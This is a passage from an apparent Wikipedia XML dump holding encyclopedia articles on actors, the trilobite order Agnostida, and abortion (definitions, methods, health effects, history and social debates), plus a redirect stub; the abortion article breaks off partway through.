An '''actor''' is a person who [[acting|acts]], or plays a role, in an artistic production. The term commonly refers to someone working in [[film|movies]], [[television]], live [[Theater|theatre]], or [[radio programming|radio]], and can occasionally denote a street entertainer. Besides playing dramatic roles, actors may also sing or dance or work only on radio or as a [[voice artist]]. A [[female]] actor may be known as an '''actress''', although the term &quot;actor&quot;, is also used as a gender-neutral term.

An actor usually plays a [[fictional character]]. In the case of a true story (or a fictional story that portrays real people) an actor may play a real person (or a fictional version of the same).  Occasionally, actors appear as themselves.
==Etymology==
&quot;Actor&quot; is directly from the masculine [[Latin]] noun ''actor'' (feminine, ''actrix'') from the [[Latin verbs|verb]] ''agere'' &quot;'''to do''', to drive, to pass time&quot; + the suffix ''-or'' &quot;so./st. who performs the action indicated by the stem&quot;. Alternatively from [[Greek language|Greek]] {{polytonic|ἂκτωρ}} ''(aktor)'', leader, from the [[verb]] {{polytonic|ἂγω}} ''(agō)'', to lead or carry, to convey, to bring.

==History==
The first recorded case of an actor performing took place in [[530s BC|534 BC]] (probably on [[23 November]], though the changes in calendar over the years make it hard to determine exactly) when the [[Greece|Greek]] performer [[Thespis]] stepped on to the stage at the ''Theatre Dionysus'' and became the first person to speak words as a character in a play. The machinations of storytelling were immediately revolutionized. Prior to Thespis' act, stories were told in [[song]] and dance and in [[Perspective (storytelling)|third person]] narrative, but no one had assumed the role of a character in a story. In honour of Thespis, actors are commonly called ''Thespians''. Theatrical [[Mythology|myth]] to this day maintains that Thespis exists as a mischievous spirit, and disasters in the theatre are sometimes blamed on his ghostly intervention.

Actors were traditionally not people of high status, and in the [[Early Middle Ages]] travelling acting troupes were often viewed with distrust. However, this negative perception dramaticaly changed in 20th Century as acting became an honored and popular profession and art. Part of the reason is due to the rise of the popular appeal and access to dramatic [[film]] entertainment and the resulting rise of the [[movie star]] in social status and the large salaries they commanded.  The combination of public presence and wealth had a profound rehabilitation to the image.

In the past, only men could become actors.  In the ancient and [[middle ages|medieval world]], it was considered disgraceful for a woman to go on the stage, and this belief continued right up until the 17th century, when in [[Venice]] it was broken.  In the time of [[William Shakespeare]], women's roles were played by men or boys, though there is some evidence to suggest that women disguised as men also (illegally) performed.

==Actors playing the opposite sex==
Women sometimes play the roles of [[prepubescent]] boys, because in some regards a woman has a closer resemblance to a boy than does a man. The role of [[Peter Pan]], for example, is traditionally played by a woman. The tradition of the [[principal boy]] in [[pantomime]] may be compared. An adult playing a child occurs more in theater than in film. The exception to this is voice actors in [[animated]] films, where boys are generally voiced by women, as heard in ''[[The Simpsons]]''.  [[Opera]] has several '[[pants role]]s' traditionally sung by women, usually [[mezzo-soprano]]s.  Examples are Hansel in ''[[Hänsel und Gretel]]'', and [[The Marriage of Figaro#Characters|Cherubino]] in ''[[The Marriage of Figaro]]''.

[[Mary Pickford]] played the part of [[Little Lord Fauntleroy]] in the first film version of the book. [[Linda Hunt]] won an [[Academy Award for Best Supporting Actress]] in ''[[The Year of Living Dangerously]]'', in which she played the part of a man.  

Having an actor play the opposite sex for comic effect is also a long standing tradition in comic theatre and film. Most of Shakespeare's comedies include instances of cross dressing, and both [[Dustin Hoffman]] and [[Robin Williams]] appeared in hit comedy films where they were required to play most scenes dressed as women. [[Tony Curtis]] and [[Jack Lemmon]] famously posed as women to escape gangsters in the [[Billy Wilder]] film ''[[Some Like It Hot]]''.

==Techniques of acting==
Actors employ a variety of techniques that are learned through training and experience. Some of these are:

#The rigorous use of the voice to communicate a character's lines and express emotion. This is achieved through attention to diction and projection through correct breathing and articulation. It is also achieved through the tone and emphasis that an actor puts on words
#Physicalisation of a role in order to create a believable character for the audience and to use the acting space appropriately and correctly
#Use of gesture to complement the voice, interact with other actors and to bring emphasis to the words in a play, as well as having symbolic meaning

[[Shakespeare]] is believed to have been commenting on the acting style and techniques of his era when [[Hamlet]] gives his famous advice to the players:

&lt;blockquote&gt;Speak the speech, I pray you, as I pronounced it to you, trippingly on the tongue: but if you mouth it, as many of your players do, I had as lief the town-crier spoke my lines. Nor do not saw the air too much with your hand, thus, but use all gently; for in the very torrent, tempest, and, as I may say, the whirlwind of passion, you must acquire and beget a temperance that may give it smoothness. O, it offends me to the soul to hear a robustious periwig-pated fellow tear a passion to tatters, to very rags, to split the ears of the groundlings, who for the most part are capable of nothing but inexplicable dumbshows and noise: I would have such a fellow whipped for o'erdoing Termagant; it out-herods Herod: pray you, avoid it.&lt;/blockquote&gt;

&lt;blockquote&gt;Be not too tame neither, but let your own discretion be your tutor: suit the action to the word, the word to the action; with this special observance: o'erstep not the modesty of nature: for any thing so overdone is from the purpose of playing, whose end, both at the first and now, was and is, to hold, as 'twere, the mirror up to nature; to show virtue her own feature, scorn her own image, and the very age and body of the time his form and pressure. Now this overdone, or come tardy off, though it make the unskilful laugh, cannot but make the judicious grieve; the censure of the which one must in your allowance o'erweigh a whole theatre of others. O, there be players that I have seen play, and heard others praise, and that highly, not to speak it profanely, that, neither having the accent of Christians nor the gait of Christian, pagan, nor man, have so strutted and bellowed that I have thought some of nature's journeymen had made men and not made them well, they imitated humanity so abominably.&lt;/blockquote&gt;

&lt;blockquote&gt;O, reform it altogether. And let those that play your clowns speak no more than is set down for them; for there be of them that will themselves laugh, to set on some quantity of barren spectators to laugh too; though, in the mean time, some necessary question of the play be then to be considered: that's villanous, and shows a most pitiful ambition in the fool that uses it. Go, make you ready.&lt;/blockquote&gt;

==Acting awards==
* [[Academy Award]]s, also known as the Oscars, for film
* [[Golden Globe Award]]s for film and television
* [[Emmy Award]]s for television
* [[Genie Awards]] for film
* [[Gemini Awards]] for television
* [[BAFTA|British Academy of Film and Television Arts Award]] for film and television
* [[Tony Award]]s for the theatre (specifically, [[Broadway theatre]])
* [[European Theatre Awards]] for the theatre
* [[Laurence Olivier Awards]] for the theatre
* [[Screen Actors Guild]] Awards for actors in film and television

==See also==
* [[Acting]]
* [[Celebrities]]
* [[Charisma]]
* [[Method acting]]
* [[Movie star]]
* [[Stunt work]]
* [[:Category:Lists of actors|Lists of actors]]

==Suggested reading==

* ''An Actor Prepares'' by [[Konstantin Stanislavski]] (Theatre Arts Books, ISBN 0878309837, 1989)
* ''A Dream of Passion: The Development of the Method'' by [[Lee Strasberg]] (Plume Books, ISBN 0452261988, 1990)
* ''Sanford Meisner on Acting'' by [[Sanford Meisner]] (Vintage, ISBN 0394750594, 1987)
* ''Letters to a Young Actor'' by [[Robert Brustein]] (Basic Books, ISBN 0465008062, 2005).
* ''The Alexander Technique Manual'' by [[Richard Brennan]] (Connections Book Publishing ISBN 1-85906-163-X 2004) 

[[Category:Actors|*]]
[[Category:Entertainment occupations]]

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      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>128.227.167.184</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Albania]]</text>
    </revision>
  </page>
  <page>
    <title>Agnostida</title>
    <id>764</id>
    <revision>
      <id>40357311</id>
      <timestamp>2006-02-20T01:01:41Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Agnostida
| image = Peronopsis.jpg
| image_width = 250px
| image_caption = ''Peronopsis interstrictus''
| regnum = [[Animal]]ia
| phylum = [[Arthropod]]a
| classis = [[Trilobita]]
| ordo = '''Agnostida'''
| ordo_authority = [[John William Salter|Salter]], 1864
| subdivision_ranks = Families
| subdivision = 
'''Suborder [[Agnostina]]'''&lt;br /&gt;
*'''Superfamily [[Agnostoidea]]'''
**[[Agnostidae]]
**[[Ammagnostidae]]
**[[Clavagnostidae]]
**[[Diplagnostidae]]
**[[Doryagnostidae]]
**[[Glyptagnostidae]]
**[[Metagnostidae]]
**[[Peronopsidae]]
**[[Ptychagnostidae]]
*'''Superfamily&amp;nbsp;[[Condylopygoidea]]'''
**[[Condylopygidae]]
'''Suborder [[Eodiscina]]'''&lt;br /&gt;
*'''Superfamily&amp;nbsp;[[Eodiscoidea]]'''
**[[Calodiscidae]]
**[[Eodiscidae]]
**[[Hebediscidae]]
**[[Tsunyidiscidae]]
**[[Weymouthiidae]]
**[[Yukoniidae]]
}}

'''Agnostida''' (the '''agnostids''') is an [[order (biology)|order]] of [[trilobite]]. These small trilobites first appeared toward the end of the lower [[Cambrian]] and thrived in the middle Cambrian. The last agnostids held out until the late [[Ordovician]]. 

The Agnostida are divided into two suborders -- [[Agnostina]] and [[Eodiscina]] -- that are then divided into a number of [[family (biology)|families]]. The Eodiscina appear to be &quot;normal&quot; trilobites with only two or three segments in the thorax; some resemble trilobites of the order [[Ptychopariida]]. As a group, agnostids have ''[[Pygidium|pygidia]]'' (tails) that are similar in size and shape to their ''[[cephalon]]s'' (heads). Neither looks much like the corresponding regions of other trilobites. There has been more than one argument about which end is the &quot;head&quot;. 

Agnostids were probably benthic (bottom-dwelling) creatures. Most agnostid species have no eyes. They likely lived on areas of the ocean floor that received little or no light and fed on detritus that descended from upper layers of the sea to the bottom.

Unfortunately, the appendages are known only for one [[genus]] of agnostid. The legs of that genus look much more like [[crustacean]] legs than the legs of other trilobites with preserved appendages. This has caused many [[Taxonomy|taxonomist]]s to question whether the agnostids are truly trilobites. Another view is that the agnostids represent the first line to have diverged from the trilobites. However, four orders of trilobites ([[Redlichiida]], [[Corynexochida]], [[Naraoidia]], [[Ptychopariida]]) considerably predate the earliest Agnostids in the [[fossil]] record.

Agnostina are generally referred to simply as &quot;agnostids&quot; even though they probably should be called &quot;agnostines&quot;.

==External links==
* [http://www.aloha.net/~smgon/ordagnostida.htm Agnostida fact sheet]
* [http://www.trilobites.info/ordagnostida.htm A Guide to the 8 Orders of Trilobites] By Sam Gon III

[[Category:Prehistoric arthropods]]

[[de:Agnostida]]</text>
    </revision>
  </page>
  <page>
    <title>Abortion</title>
    <id>765</id>
    <revision>
      <id>42146960</id>
      <timestamp>2006-03-04T03:13:13Z</timestamp>
      <contributor>
        <username>Andrew c</username>
        <id>704413</id>
      </contributor>
      <minor />
      <comment>/* Mental health */ rm excessive spaces</comment>
      <text xml:space="preserve">&lt;!--Note to editors: This article has a long and intense history of terminology debates. Please review the talk page before making changes to lines to see if there is a previous established consensus or compromise. Thank you.--&gt;
An '''abortion''' is the termination of a [[pregnancy]] associated with the death of an [[embryo]] or a [[fetus]]. This can occur spontaneously, in the form of a [[miscarriage]], or be intentionally induced through chemical, surgical, or other means. Generally, abortions are performed by [[gynaecology|gynaecologists]] or [[obstetrics|obstetricians]]. All [[Pregnancy (mammals)|mammalian pregnancies]] can be aborted; however, this article focuses exclusively on the abortion of [[human]] pregnancy.

There have been various methods of inducing an abortion [[History of abortion|throughout the centuries]]. In the [[20th century]], the [[ethics]] and [[morality]] of abortion became the subject of intense [[political]] [[debate]] in many areas of the world.

==Definitions==
[[Pregnancy]] is defined by the [[medicine|medical community]] as beginning at the [[implantation]] of the [[embryo]]. Others differ, however, placing this initiation at [[fertilisation|conception]]. The following medical terms are used to define an abortion:

* ''Spontaneous abortion ([[miscarriage]])'': An abortion due to accidental trauma or [[natural causes]].
*''Induced abortion'': An abortion deliberately caused. Induced abortions are further subcategorized into therapeutic abortions and elective abortions: 
**''Therapeutic abortion''
*** To save the life of the pregnant woman.  	 
*** To preserve the woman's physical or mental health. 	 
*** To terminate a pregnancy that would result in the birth of a child with defects which would be [[fatal|incompatible with life]] or associated with significant [[morbidity]]. 	 
*** To [[selective reduction|selectively reduce]] the number of [[fetus]]es in a [[multiple birth|multiple pregnancy]] to lessen health risks involved. 	 
**''Elective abortion'': An abortion performed for any other reason.

Methods of birth control that prevent implantation, such as [[emergency contraception]], are not considered to be abortion; however, emergency contraception is generally considered equivalent to abortion by those who reject the medical definition of pregnancy.

A pregnancy that ends earlier than 37 completed weeks of gestation, and where an [[infant]] is born and survives, is termed a [[premature birth]]. A pregnancy that ends with an infant dead upon birth at any gestational stage, due to causes including spontaneous abortion or complications during delivery, is termed a [[stillbirth]]. 

In common parlance, the term &quot;abortion&quot; is synonymous with induced abortion of a human fetus.

==Incidence==
The incidence of and reasons for induced abortion vary in regions in which abortion is generally permitted.

It has been estimated that the total number of induced abortions performed globally is approximately 46 million per year. 26 million of these are said to occur in [[abortion law|places in which abortion is legal]]; the other 20 million happen where it is illegal. Some countries, such as [[Belgium]] and the [[Netherlands]], experience a low rate of induced abortion, while others like [[Russia]] and [[Vietnam]] have a comparatively high rate. {{ref|incidence2}} 

A 1998 study aggregated data from studies in 27 countries on the reasons women seek to terminate their pregnancies. It concluded that common factors cited to have influenced the abortion decision were the desire to delay or end childbearing, concern over the interruption of [[employment|work]] or [[education]], issues of financial or relationship stability, and perceived immaturity. {{ref|incidence3}} In [[Finland]] and the  [[United States]], concern for the health risks posed by pregnancy in individual cases was not a factor commonly given, whereas in [[Bangladesh]], [[India]], and [[Kenya]] such a concern was found to be more prevalent. A 2004 study in which  [[United States|American]] women at [[abortion clinic|clinic]]s answered a [[questionnaire]] yielded similar results. {{ref|incidence4}}  

Some abortions are undergone as the result of societal pressures, such as [[eugenics]], the stigmatization of [[disabled]] persons, preference for children of a specific [[sex]], disapproval of [[single parent|single motherhood]], insufficient economic support for [[family|families]], lack of access to or rejection of [[birth control|contraceptive]] methods, or efforts toward [[population control]] (such as [[China]]'s [[one-child policy]]). A combination of these factors can sometimes result in forced abortion, [[forced sterilization]], [[infanticide]], [[child abandonment]], or [[sex-selective abortion and infanticide]] — which is illegal in most countries, but difficult to stop. In many areas, especially in [[developing country|developing nations]] or where abortion is illegal, women sometimes resort to &quot;[[back-alley abortion|back-alley]]&quot; or [[self-induced abortion|self-induced]] procedures. The [[World Health Organization]] suggests that there are 19 million terminations annually which fit its criteria for an [[Abortion#Unsafe abortion|unsafe abortion]]. {{ref|unsafe1}} See [[Abortion#Social issues|social issues]] for more information on these subjects.

==Forms of abortion==

===Spontaneous abortion===
{{main|Miscarriage}}

&lt;!--improve me!--&gt;
Spontaneous abortions, generally referred to as miscarriages, occur when an embryo or fetus is lost due to natural causes. A miscarriage is spontaneous loss of the embryo or fetus before the 20th week of development. Spontaneous abortions after the 20th week are generally considered to be preterm deliveries. Most miscarriages occur very early in a pregnancy. Approximately 10-50% of pregnancies end in miscarriage, depending upon the age and health of the pregnant woman. {{ref|miscarriage1}}

The risk for spontaneous abortion is greater in those with a history of more than three previous (known) spontaneous abortions, those who have had a previous induced abortion, those with systemic diseases, and in women over age 35.  

Other causes can be infection (of either the woman or the fetus), immune responses, or serious systemic diseases of the woman. 

A spontaneous abortion can also be caused by accidental [[trauma]]; intentional trauma to cause miscarriage is considered an induced abortion. Some governments have laws increasing the criminal liability of a person who causes a miscarriage during an [[assault]] or other violent [[crime]].

===Induced abortion===

A pregnancy can be intentionally aborted in a number of ways. The manner selected depends chiefly upon the [[gestational age]] of the [[fetus]], in addition to the legality, regional availability, and/or doctor-patient preference for specific procedures.

====Surgical abortion====
[[Image:PBAsigning_wide.jpg|thumb|240px|right|U.S. President George W. Bush signs the ''Partial-Birth Abortion Ban Act of 2003'']]

In the first fifteen weeks, [[suction-aspiration abortion|suction-aspiration]] or vacuum abortion is the most common method. ''[[Manual vacuum aspiration]]'', or MVA abortion, consists of removing the [[fetus]] or [[embryo]] by suction using a manual [[syringe]], while the ''[[Electric vacuum aspiration]]'' or EVA abortion method uses an electric [[pump]]. These techniques are equivalent, differing only in the mechanism use to apply suction.  From the fifteenth week up until around the twenty-sixth week, a surgical [[dilation and evacuation]] (D &amp;amp; E) is used. D &amp;amp; E consists of opening the [[cervix]] of the [[uterus]] and emptying it using surgical instruments and suction.

''[[Dilation and curettage]]'' (D &amp;amp; C) is a standard gynaecological procedure performed for a variety of reasons, including examination of the uterine lining for possible malignancy, investigation of abnormal bleeding, and abortion.  ''[[Curettage]]'' refers to the cleaning of the walls of the [[uterus]] with a [[curette]]. The [[World Health Organization]] recommends this sort of procedure, also called Sharp Curettage, only when MVA is unavailable. {{ref|surgicalabortion1}} Sharp curettage only accounted for 2.4% of abortion procedures in the US in [[2002]]. {{ref|surgicalabortion2}} The term &quot;D and C&quot; can more generally be used to refer to the first trimester abortion procedure, irrespective of the method used to perform the procedure. 

Other techniques must be used to induce abortion in the third [[trimester]]. Premature delivery can be induced with [[prostaglandin]]; this can be coupled with injecting the [[amniotic sac|amniotic fluid]] with caustic solutions containing [[saline (medicine)|saline]] or [[urea]]. Very late abortions can be brought about by [[intact dilation and extraction]] (intact D &amp;amp; X), which requires the surgical decompression of the fetus's head before evacuation, and is sometimes termed &quot;[[partial-birth abortion]].&quot;  A [[hysterotomy abortion]], similar to a [[caesarian section]] but resulting in a terminated fetus, can also be used at late stages of pregnancy. It can be performed vaginally, with an incision just above the [[cervix]], in the late mid-trimester.

====Chemical abortion====
[[Image:Mifepristone.gif|thumb|right|170px|The molecular structure of the abortifacient drug Mifepristone.]]
{{main|Chemical abortion}}

Effective in the first trimester of pregnancy, chemical (also referred to as a medical abortion), or non-surgical abortions comprise 10% of all abortions in the [[United States]] and [[Europe]]. The process begins with the administration of either [[methotrexate]] or [[mifepristone]], followed by [[misoprostol]]. When appropriately used, 98% of women undergoing medical termination of pregnancy will experience completed abortion without surgical intervention. The [[Food and Drug Administration]] currently approves the use of mifepristone up to 49 days gestation (7 weeks), though evidence based regimens exist for its use up to 61 days gestation with similar success rates.  Misoprostol alone can also be used, though it is not FDA approved for this purpose.  Misoprostol (Cytotec) alone has the advantage of costing less than one dollar for an effective dose, as opposed to several hundred dollars for an effective dose of mifepristone.  In cases of failure of medical abortion, vacuum or manual aspiration is used to complete the abortion surgically.

====Other means of abortion====
Historically, a number of [[herb]]s reputed to possess [[abortifacient]] properties have been used in [[folk medicine]]: [[tansy]], [[pennyroyal]], [[black cohosh]], and the now-extinct [[silphium]] (see [[Abortion#History of abortion|history of abortion]]). The use of herbs in such a manner can cause serious — even lethal — side effects, such as [[multiple organ dysfunction syndrome|multiple organ failure]], and is not recommended by [[physician]]s. {{ref|othermethods1}}

Abortion is sometimes attempted through means of trauma to the [[abdomen]]. The degree of force applied, if severe, can cause serious internal injuries without necessarily succeeding in inducing [[miscarriage]]. {{ref|othermethods2}} Both accidental and deliberate abortions of this kind can be subject to criminal liability in many countries. In [[Myanmar|Burma]], [[Indonesia]], [[Malaysia]], the [[Philippines]], and [[Thailand]], there is an ancient tradition of attempting abortion through forceful abdominal [[massage]]. {{ref|othermethods3}}

Reported methods of unsafe, [[self-induced abortion]] include the misuse of the [[ulcer]] [[drug]] [[Misoprostol]] and the insertion of non-surgical implements such as [[knitting needle]]s and [[clothes hanger]]s into the [[uterus]].

==Health effects==

&lt;!--MAJOR REORG NEEDED. Entire section is argumentative, and biased: See Talk. --&gt;
Early-term surgical abortion is a simple procedure, and when performed by competent doctors (and in some states, nurse practitioners, nurse midwives and physician assistants) in first-world nations (before the 16th week), is safer than carrying the pregnancy to term. {{ref|healtheffects1}} &lt;!-- As I pointed out earlier, listing the negatives of this generally safe procedure first would be biased. --&gt;

As with most surgical procedures, the most common surgical abortion methods carry the risk of potentially serious complications. These risks include: a perforated uterus, perforated [[bowel]] or [[Urinary bladder|bladder]], [[septic shock]], sterility, and death. The risk of complications occurring can increase depending on how far the pregnancy has progressed, but may be counterbalanced by [[Complications of pregnancy|complications]] that would occur from carrying the pregnancy to term.

It is difficult to accurately assess the risks of induced abortion due to a number of factors. These factors include wide variation in the quality of abortion services in different [[Society|societies]] and among different [[socio-economic]] groups, a lack of uniform [[definition]]s of terms, and difficulties in patient follow-up and after-care. The degree of risk is also dependent upon the skill and experience of the practitioner; maternal age, health, and [[parity]]; [[gestational age]]; pre-existing conditions; methods and instruments used; [[medication]]s used; the skill and experience of those assisting the practitioner; and the quality of recovery and follow-up care. A highly-skilled practitioner, operating under ideal conditions, will tend to have a very low rate of complications; an inexperienced practitioner in an ill-equipped and ill-staffed facility, on the other hand, will often have a higher incidence of complications.

In the [[United Kingdom]], the number of deaths due to legal abortion between the years of 1991 and 1993 was 5, as compared to the 9 deaths caused by [[ectopic pregnancy]] during the same time frame. {{ref|mortality1}} In the [[United States]], during the year 1999, there were a total of 4 deaths due to legal abortion. {{ref|mortality2}} &lt;!--need to compare the number of abortions and the number of pregnancies for these numbers to relate --&gt;

Some practitioners advocate using minimal [[anesthesia]] so that the patient can alert them to possible complications. Others recommend [[general anesthesia]], in order to prevent patient movement, which might cause a perforation. General anesthesia carries its own risks, including death, which is why public health officials recommend against its routine use.

[[Dilation]] of the [[cervix]] carries the risk of cervical tears or perforations, including small tears that might not be apparent and might cause [[cervical incompetence]] in future pregnancies. Most practitioners recommend using the smallest possible dilators, and using [[osmotic]] rather than [[mechanical]] dilators after the first [[trimester]] of pregnancy. 

Instruments are placed within the uterus to remove the fetus. These can, on rare occasions, cause [[perforation]] or [[laceration]] of the uterus, and damage to structures surrounding the uterus. Laceration or perforation of the uterus or cervix can, again on rare occasions, lead to even more serious complications.

Incomplete emptying of the uterus can cause [[hemorrhage]] and infection. Use of [[ultrasound]] verification of the location and duration of the pregnancy prior to abortion, with immediate follow-up of patients reporting continuing pregnancy symptoms after the procedure, will virtually eliminate this risk. The sooner a complication is noted and properly treated, the lower the risk of permanent injury or death. 

In rare cases, the abortion will be unsuccessful and the pregnancy will continue. An unsuccessful abortion can also result in the delivery of a live [[neonate]], or infant. This, termed a failed abortion, is more likely to occur if the procedure is carried out later in the pregnancy. Some doctors faced with this situation have voiced concerns about the ethical and legal ramifications of then letting the neonate die. As a result, recent investigations have been launched in the [[United Kingdom]] by the Confidential Enquiry into Maternal and Child Health (CEMACH) and the Royal College of Obstetricians and Gynecologists, in order to determine how widespread the problem is and what an ethical response in the treatment of the infant might be. {{ref|failed}}

Use of other methods (e.g., overdose of various drugs, insertion of various objects into [[uterus]]) for abortion is potentially dangerous, carrying a significantly elevated risk for permanent injury or death compared to abortions done by [[physician]]s. 

===Suggested effects===
There is controversy over a number of proposed risks and effects of abortion. Evidence, whether in support of or against such claims, might in part be influenced by the political and religious beliefs of the parties behind it.

====Breast cancer====
{{main|Abortion-breast cancer hypothesis}}

The ''abortion-breast cancer (ABC) hypothesis'' posits a [[causality| causal relationship]] between having an induced abortion and a higher risk of developing [[breast cancer]] in the future. An increased level of [[estrogen]] in early [[pregnancy]] helps to initiate [[cellular differentiation]] (growth) in the [[breast]] in preparation for [[lactation]]. If this process is terminated, through abortion, before full differentiation in the third [[trimester]], then more &quot;vulnerable&quot; undifferentiated cells will be left than there were prior to the pregnancy. It is proposed that this might result in an elevated risk of [[breast cancer]]. The majority of interview-based studies have indicated a link, and some have been demonstrated to be [[statistically significant]], {{ref|abc1}} but there remains debate as to their reliability because of possible [[response bias]].

Larger and more recent record-based studies, such as one in 1997 which used data from two national [[registry|registries]] in [[Denmark]], found the correlation to be negligible to non-existent after statistical adjustment. {{ref|abc2}} The [[National Cancer Institute]] conducted an official workshop with dozens of experts on the issue, between [[February 24]]-[[February 26]], [[2003]], which concluded from its examination of various evidence that it is &quot;well established&quot; that &quot;induced abortion is not associated with an increase in breast cancer risk.&quot; {{ref|abc3}}  These findings and how the Denmark study statistically adjusted their overall results have been disputed by [[Joel Brind|Dr. Joel Brind]], {{ref|abc4}} an invitee to the workshop and the leading scientific advocate of the abortion-breast cancer hypothesis. Nevertheless, gaps and inconsistencies remain in the research, and the subject continues to be one of political and scientific contention.

====Fetal pain====
{{main|Fetal pain}}

The experience of the fetus during abortion is a matter of medical, ethical and public policy concern.  Evidence is conflicting, with some authorities holding that the fetus is capable of feeling pain from the first [[trimester]], and others maintaining that the neuro-anatomical requirements for such experience do not exist until the second or third trimester.

[[Pain|Pain receptors]] begin to appear in the seventh week of pregnancy. The [[thalamus]], the part of the brain which receives signals from the [[nervous system]] and then relays them to the [[cerebral cortex]], starts to form in the fifth week. However, other anatomical structures involved in the [[pain|nociceptic]] process are not present until much later in gestation. Links between the thalamus and cerebral cortex aren't forged until around the 23rd week. {{ref|pain1}}

Researchers have observed changes in the heart rates and [[hormones| hormonal levels]] of newborn [[infants]] after [[circumcision]], [[blood tests]], and surgery — effects which were alleviated with the administration of [[anesthesia]]. {{ref|pain2}} Others suggest that the human experience of pain, being more than just physiological, cannot be measured in such [[reflexive]] responses.

====Mental health====
Some women will experience negative feelings as a result of elective abortion. However, whether this phenomenon is significant enough to warrant a general diagnosis, or even classification as an independent syndrome (see [[post-abortion syndrome]]), is a subject that is debated among members of the medical community.

Data on the incidence of [[clinical depression]], [[mental illness]], [[post-traumatic stress disorder]], and suicide in association with abortion remain inconclusive. {{ref|mental1}} A comparative analysis of the suicide rates among [[postnatal| postpartum]] and post-abortive women in [[Finland]] found a [[statistics| statistical]] correlation between abortion and suicide. {{ref|mental2}}

Other studies have suggested a link between the elective termination of an unwanted [[pregnancy]] and an improvement in reported mental well-being. {{ref|mental3}} Elective abortion may reduce the occurrence of depression in cases of unwanted pregnancy, as compared to cases in which the pregnancy has been carried to completion, but it is also sometimes reported as an additional [[stressor]] ([[ibid.]]). The majority of evidence would seem to indicate that adverse emotional reactions to the procedure are most strongly influenced by pre-existing [[psychology| psychological]] conditions and other negative factors ([[ibid.]]). 

Spontaneous abortion, or [[miscarriage]], is known to present an increased risk of [[depression]] in women. {{ref|mental4}}

==History of abortion==
{{main|History of abortion}}

[[Image:TansyPills.jpg|thumb|right|90px|Bottom-most: &quot;Dr. Caton's Tansy Pills!&quot; An example of a clandestine  advertisement.]]

The practice of induced abortion, according to some [[anthropologists]], can be traced to ancient times. There is evidence to suggest that, historically, pregnancies were terminated through a number of methods, including the administration of [[abortifacient]] herbs, the use of sharpened implements, the application of abdominal pressure, and other techniques.

[[Soranus]], a 2nd century [[Ancient Greece|Greek]] [[physician]], suggested in his work ''[[Gynecology]]'' that women wishing to abort their pregnancies should engage in violent exercise, energetic jumping, carrying heavy objects, and riding animals. He also prescribed a number of recipes for herbal bathes, [[pessary| pessaries]], and [[bloodletting]], but advised against the use of sharp instruments to induce miscarriage due to the risk of organ [[perforation]]. {{ref|history1}} It is also known that the ancient Greeks relied upon the herb [[silphium]] as both a [[contraceptive]] and an [[abortifacient]]. The plant, as the chief export of [[Cyrene]], was driven to [[extinction]], but it is suggested that it might have possessed the same abortive properties as some of its closest extant relatives in the [[Apiaceae|Apiaceae family]].

Such folk remedies, however, varied in effectiveness and were not without risk. [[Tansy]] and [[pennyroyal]], for example, are two [[poison|poisonous]] [[herbs]] with serious [[Adverse effect (medicine)|side effects]] that have at times been used to terminate pregnancy.

[[19th-century]] [[medicine]] saw advances in the fields of [[surgery]], [[anaesthesia]], and [[sanitation]], in the same era that doctors with the [[American Medical Association]] lobbied for bans on abortion in [[The United States]] and the [[British Parliament]] passed the Offences Against the Person Act. Demand for the procedure continued, however, as the disguised, but nonetheless open, advertisement of abortion services in Victorian times would seem to suggest. {{ref|history2}}

==Social issues==
A number of of complex issues exist in the debate over abortion. These, like the suggested effects upon health listed above, are a focus of research and a fixture of discussion among members on all sides the controversy.

===Effect upon crime rate===
{{Main|legalized abortion and crime effect}}

A controversial theory attempts to draw a [[correlation]] between the unprecedented nationwide decline of the overall [[crime rate]] witnessed in the [[United States]] during the 1990s and the decriminalization of abortion 20 years prior.

The suggestion was brought to widespread attention by a 1999 [[academic paper]], ''[[The Impact of Legalized Abortion on Crime]]'', authored by the [[economist]]s [[Steven Levitt| Steven D. Levitt]] and [[John Donohue]]. They attributed the drop in crime to a reduction in individuals said to have a higher statistical probability of committing crimes: unwanted children, especially those born to mothers who are [[African-American]], [[poverty| impoverished]], [[teenage pregnancy|adolescent]], [[education|uneducated]], and [[single parent|single]]. The change coincided with what would've been the adolescence, or peak years of potential criminality, of those who had not been born as a result of ''[[Roe v. Wade]]'' and similar cases. Donohue and Levitt's study also noted that states which legalized abortion before the rest of the nation experienced the lowering crime rate pattern earlier and that those with higher abortion rates had more pronounced reductions. {{ref|crimerate1}} 

Fellow economists [[Christopher Foote]] and [[Christopher Goetz]] criticized the [[methodology]] in the Donahue-Levitt study, noting a lack of accommodation for statewide yearly variations such as [[cocaine]] use, and recalculating based on incidence of crime [[per capita]]; they found no [[statistically significant|statistically significant]] results. {{ref|crimerate2}} Levitt and Donohue responded to this by presenting an adjusted [[data set]] which took into account these concerns but, they claim, maintained the statistical significance of their initial paper. {{ref|crimerate3}}

Such research has been criticized by some as being [[utilitarian]], [[discrimination|discriminatory]] as to [[race]] and [[social class|socioeconomic class]], and as promoting [[eugenic]]s as a solution to [[crime]]. {{ref|crimerate4}} {{ref|crimerate5}} Levitt states in his book, ''[[Freakonomics]]'', that they are neither promoting nor negating any course of action &amp;ndash; merely reporting data as economists.

===Sex-selective abortion===
{{Main|sex-selective abortion and infanticide}}

The advent of both [[ultrasound]] and [[amniocentesis]] has allowed [[parent]]s to determine [[sex]] before [[childbirth|birth]]. This has lead to the occurrence of [[sex-selective abortion and infanticide|sex-selective abortion]] or the targeted termination of a [[fetus]] based upon its gender.

It is suggested that sex-selective abortion might be partially responsible for the noticeable disparities between the [[birth rate]]s of [[male]] and [[female]] children in some places. The preference for male children is reported in many areas of [[Asia]], and the use of abortion to limit female births has been reported in [[Mainland China]], [[Taiwan]], [[South Korea]], and [[India]]. {{ref|sexselective1}}

